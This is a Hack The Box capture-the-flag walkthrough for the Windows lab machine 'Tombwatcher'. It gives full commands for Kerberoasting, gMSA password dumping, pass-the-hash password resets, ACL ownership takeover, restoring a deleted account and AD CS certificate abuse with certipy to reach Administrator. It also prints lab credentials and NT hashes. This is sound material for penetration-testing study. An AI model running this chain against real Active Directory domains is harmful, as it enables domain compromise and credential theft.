Tombwatcher

Machine Image
Release Date07 Jun 2025
Retire Date09 Sep 9999
OSWindows
DifficultyMedium
Base Points30
Creatormrb3n8132 & Sentinal

Walkthrough

Medium - Windows

Assume-breach foothold: henry / H3nry_987TGV!. A long Active Directory ACL chain (WriteSPN → gMSA → password resets → WriteOwner), capped by restoring a tombstoned user and abusing AD CS for Administrator.

Enum

nxc

First we enumerate the domain users over SMB — we’ll need the full list later, including one that turns out to be deleted.

nxc smb 10.10.11.72 -u users -p pass --users

nxc (NetExec) authenticates over SMB and lists every domain account from the DC.

domain users

Shares give nothing useful, so the path is going to be pure ACL abuse.

BloodHound

Collect the graph as henry to find the first edge:

ntpdate -u 10.10.11.72 | bloodhound-python -u 'henry' -p 'H3nry_987TGV!' -ns 10.10.11.72 -dc DC01.tombwatcher.htb -d tombwatcher.htb -c all

bloodhound-python logs in as henry and pulls every AD object, group, and ACL into JSON (ntpdate first so Kerberos timestamps line up).

curl -L https://ghst.ly/getbhce | sudo docker-compose -f - up

This spins up BloodHound CE locally to ingest and graph that data.

http://localhost:8080/ui

We browse the BloodHound UI to look for attack paths off henry.

henry has WriteSPN over alfred — meaning we can set an SPN on that account and Kerberoast it for a crackable hash.

WriteSPN over alfred

Abuse it with targetedKerberoast:

sudo ntpdate -u 10.10.11.72 | python3 /opt/targetedKerberoast/targetedKerberoast.py -v -d 'tombwatcher.htb' -u 'henry' -p 'H3nry_987TGV!'

This temporarily sets an SPN on alfred, requests a (roastable) Kerberos service ticket, then removes the SPN — handing us a crackable hash without ever knowing alfred’s password.

kerberoast hash

Crack the hash with john → alfred:basketball.

Lateral movement

alfred can add himself to the Infrastructure group, which unlocks the next privilege:

addSelf to Infrastructure

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u 'alfred' -p 'basketball' add groupMember 'INFRASTRUCTURE' alfred

bloodyAD add groupMember writes alfred into the Infrastructure group using his own AddSelf right over it.

ansible_dev$

Membership in Infrastructure lets us read the gMSA password of the ansible_dev$ service account:

ansible_dev gMSA

We dump it with gMSADumper :

python3 /opt/gMSADumper/gMSADumper.py -u alfred -p basketball -d tombwatcher.htb

gMSADumper reads the managed-password blob of the gMSA (which Infrastructure members are allowed to retrieve) and prints its NT hash.

gMSA hash

sam

The ansible_dev$ account can force-reset sam’s password — we use its NT hash with pth-toolkit :

reset sam

bloodyAD -u ansible_dev$ -p ':1c37d00093dc2a5f25176bf2d474afdc' -d tombwatcher.htb --dc-ip 10.10.11.72 set password sam 'password@123'

Pass-the-hash as ansible_dev$ (note the :hash form) and overwrite sam’s password via its reset right.

Alternative, passing the hash directly:

pth-net rpc password "sam" "NewP@ssw0rd2025" \
  -U "tombwatcher.htb/ansible_dev\$%ffffffffffffffffffffffffffffffff:1c37d00093dc2a5f25176bf2d474afdc" \
  -S "DC01.tombwatcher.htb"

Same password reset over MS-RPC, authenticating with the hash instead of a cleartext password.

john

sam has WriteOwner over john, so we take ownership and grant ourselves full control before resetting the password.

WriteOwner over john

bloodyAD -u sam -p 'password@123' -d tombwatcher.htb --dc-ip 10.10.11.72 add genericAll "john" "sam"

Grants sam a GenericAll ACE over the john object (full control).

bloodyAD -u sam -p 'password@123' -d tombwatcher.htb --dc-ip 10.10.11.72 set password "john" "password@123"

With full control, reset john’s password.

python3 /usr/share/doc/python3-impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' 'tombwatcher.htb'/'john':'password@123'

dacledit writes a FullControl ACE for john onto the ADCS OU, so john can later operate against the CA objects.

The reliable route (in an impacket venv) is to rewrite the owner explicitly, then apply genericAll:

source ~/Desktop/ctf/HTB/tombwatcher/impacket-env/bin/activate

Activate a Python venv that has impacket installed.

python3 /usr/share/doc/python3-impacket/examples/owneredit.py -action write -new-owner 'sam' -target 'john' 'tombwatcher.htb'/'sam':'NewP@ssw0rd2025'

owneredit sets sam as the owner of the john object — as owner we can hand ourselves any rights and reset the password.

owner rewritten

user

evil-winrm -i 10.10.11.72 -u john -p password@123

Log in over WinRM as john with the new password and grab user.txt.

root

The initial nxc run hinted at a deleted user, cert_admin — restoring it from the AD tombstone gives us a principal with rights into the ADCS OU.

Restore cert_admin

List tombstoned user objects:

# Show all deleted user objects
$searcher = [adsisearcher]'(&(objectClass=user)(isDeleted=TRUE))'
$searcher.Tombstone = $true
$searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"] }

An ADSI search with the Tombstone flag enumerates deleted (but not yet purged) user objects.

deleted users

Get-ADObject -Filter 'SamAccountName -eq "cert_admin"' -IncludeDeletedObjects

Pulls the deleted cert_admin object so we can read its distinguished name and GUID.

cert_admin object

There are multiple tombstones, so we check timestamps to pick the right one to restore:

Get-ADObject -Filter 'SamAccountName -eq "cert_admin"' -IncludeDeletedObjects -Properties whenChanged,whenCreated | Select-Object DistinguishedName, ObjectGUID, whenCreated, whenChanged

Lists each tombstone with its creation/deletion times so we restore the correct (most recent) one.

Restore the most recent one:

Restore-ADObject -Identity "CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb"

Restore-ADObject un-deletes the tombstone, bringing cert_admin back as a live account.

Verify it’s back:

Get-ADUser cert_admin

Confirms the account now resolves as a normal AD user.

cert_admin restored

Reset the restored account’s password so we can use it:

bloodyAD -u john -p 'password@123' -d tombwatcher.htb --dc-ip 10.10.11.72 set password 'cert_admin' 'password@123'

john (owner over the ADCS OU) resets cert_admin’s password so we can authenticate as it.

Requesting the certificate

cert_admin can enroll on a template that lets us specify an alternate UPN — we request a cert as Administrator (ESC-style abuse):

certipy req -u 'cert_admin@tombwatcher.htb' -p 'password@123' -dc-ip 10.10.11.72 -target-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'administrator@tombwatcher.htb' -application-policies 'Client Authentication'

certipy req enrolls a certificate as cert_admin but sets the UPN to administrator — the misconfigured template honours it, so the issued cert authenticates as Administrator.

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -domain tombwatcher.htb -ldap-shell

certipy auth uses that PFX via PKINIT to authenticate as Administrator (here dropping into an LDAP shell).

If the policy needs adjusting, these variations get the enrollment through:

certipy req -u 'cert_admin@tombwatcher.htb' -p 'password@123' -dc-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies '1.3.6.1.4.1.311.20.2.1'

Same request, supplying the Client-Authentication application-policy OID explicitly.

certipy req -u 'cert_admin@tombwatcher.htb' -p 'password@123' -on-behalf-of TOMBWATCHER\\Administrator -template User -dc-ip 10.10.11.72 -ca 'tombwatcher-CA-1' -pfx cert_admin.pfx

An enroll-on-behalf-of (agent) variant that requests a User cert for Administrator using cert_admin’s PFX.

Authenticate with the certificate to recover the Administrator hash:

certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -domain tombwatcher.htb

Authenticates with the Administrator certificate and returns the account’s NT hash.

evil-winrm -i 10.10.11.72 -u administrator -H 61db423bebe3328d33af26741afe5fc

Pass-the-hash over WinRM for a shell as Administrator — box owned.